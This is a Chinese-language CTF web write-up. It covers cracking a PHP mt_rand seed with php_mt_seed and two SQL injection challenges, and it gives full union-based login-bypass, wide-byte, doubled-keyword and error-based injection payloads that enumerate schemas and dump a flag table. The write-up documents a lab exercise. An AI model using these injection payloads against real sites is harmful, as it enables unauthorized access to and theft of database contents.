web

枯燥的抽奖

打开以后在源代码里面找到 check.php,去访问了一下

image.png
image.png
image.png
image.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

其中 mt_rand() 会出现随机数安全问题,就是说如果播种的种子(seed)一样的话,那么产生的随机数实际上是不变的

可以使用这个爆破出来
下下来直接解压以后在目录执行 make 命令,就可以使用了

image.png
image.png

拿源码来解释一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
if(!isset($_SESSION['seed'])){//如果没有seed的话从0到999999999之间选择一个作为seed
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);//以seed作为种子播种
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){//这里就是产生的20个flag
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
//产生的方法是从str_long1里面的第mt_rand个开始选择一个添加到str里面这样循环20次
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";//然而最后展示出来的只是前十个
if(isset($_POST['num'])){
if($_POST['num']===$str){//输入的跟str进行匹配,还是全等的
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}

知道它的原理之后其实可以自己实现一下,然后转换成 php_mt_seed 能识别的形式

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='sjeZQs2cLo'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

然后使用 php_mt_seed:

image.png
image.png

把得到的 seed 带入题目源码里面就可以得到 flag 了,注意 php 的版本

image.png
image.png

找了几个 php7 在线运行都不行,还是 phpstudy 稳

image.png
image.png
image.png
image.png

得到 flag

image.png
image.png

BabySqli

尝试登录的话会返回账号错误还是密码错误,可以得出 admin 账号是存在的

然后使用 union 万能密码绕过(MD5 是 123 的 MD5)
username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123

解释一下 union 万能密码,

如果原来的查询语句是:

1
2
3
<?php
$sql = "SELECT * FROM users WHERE username='$username' and password = '".md5($password,true)."'";
?>

你输入的是:
username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123
那这个语句就会被构造成:

1
select * from users where username='-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' # and password='md5(123,true)';

这条语句的结果是:

image.png
image.png

这样你输入的 admin 的密码就是你传的 123 的 MD5 值,就可以成功登陆了

BabySqliv2.0

union 与 select 被置为空,双写绕过
单引号回家反斜线转义,宽字节注入
admin 被检测,0x 被检测,使用 char(97,100,109,105,110)

image.png
image.png
image.png
image.png
image.png
image.png

爆库名:web_sqli
username:1%df’ ununionion selselectect 1,char(97,100,109,105,110),group_concat(schema_name) from information_schema.schemata%23
password:随意

image.png
image.png

爆表名:f14g
username:1%df’ ununionion selselectect 1,char(97,100,109,105,110),group_concat(table_name) from information_schema.tables whwhereere table_schema=char(119,101,98,95,115,113,108,105)%23
password:随意

image.png
image.png

爆字段名:
username:1%df’ ununionion selselectect 1,char(97,100,109,105,110),group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)%23
password:随意

image.png
image.png

爆 flag:
username:1%df’ uniunionon selselectect 1,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g%23
password:随意

image.png
image.png

解出来全是歌词??为啥我的没有 flag???

image.png
image.png

使用:
username:%df’
and(seselectlect 1 from(sselectelect count(),concat((sselectelect (sselectelect (SESELECTLECT concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
password:随意
可以得到!!!

image.png
image.png